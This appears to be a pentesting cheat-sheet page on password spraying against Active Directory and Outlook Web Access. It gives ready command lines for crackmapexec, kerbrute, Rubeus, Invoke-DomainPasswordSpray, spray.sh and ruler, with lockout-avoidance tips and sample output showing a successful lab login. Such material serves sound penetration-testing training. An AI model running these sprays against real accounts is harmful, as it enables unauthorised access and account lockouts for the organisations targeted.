Pentesting

Password Spraying

Password Spraying

Once you have found several valid usernames you can try the most common passwords (keep in mind the password policy of the environment) with each of the discovered users. By default the minimum password length is 7.

Lists of common usernames could also be useful: https://github.com/insidetrust/statistically-likely-usernames

Notice that you could lockout some accounts if you try several wrong passwords (by default more than 10).

Get password policy

If you have some user credentials or a shell as a domain user you can get the password policy with:

  • crackmapexec <IP> -u 'user' -p 'password' --pass-pol

  • enum4linx -u 'username' -p 'password' -P <IP>

  • (Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation

Using crackmapexec:

crackmapexec smb <IP> -u users.txt -p passwords.txt

Using kerbrute(python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK

python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt

Kerbrute also tells if a username is valid.

Using kerbrute(Go)

./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

With the scanner/smb/smb_login module of Metasploit:

With Invoke-DomainPasswordSpray

Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose

or spray (read next section).

Lockout check

The best way is not to try with more than 5/7 passwords per account.

So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use spray:

spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>

Outlook Web Access

There are multiples tools for password spraying outlook.

To use any of these tools, you need a user list and a password / a small list of passwords to spray.

$ ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
[x] Failed: s.sven:Summer2020
[x] Failed: j.jenny:Summer2020
[x] Failed: t.teresa:Summer2020
[x] Failed: t.trump:Summer2020
[x] Failed: a.adams:Summer2020
[x] Failed: l.larsson:Summer2020
[x] Failed: CUBE0X0:Summer2020
[x] Failed: A.ADMIN:Summer2020
[x] Failed: C.CUBE:Summer2020
[+] Success: S.SVENSSON:Summer2020

References :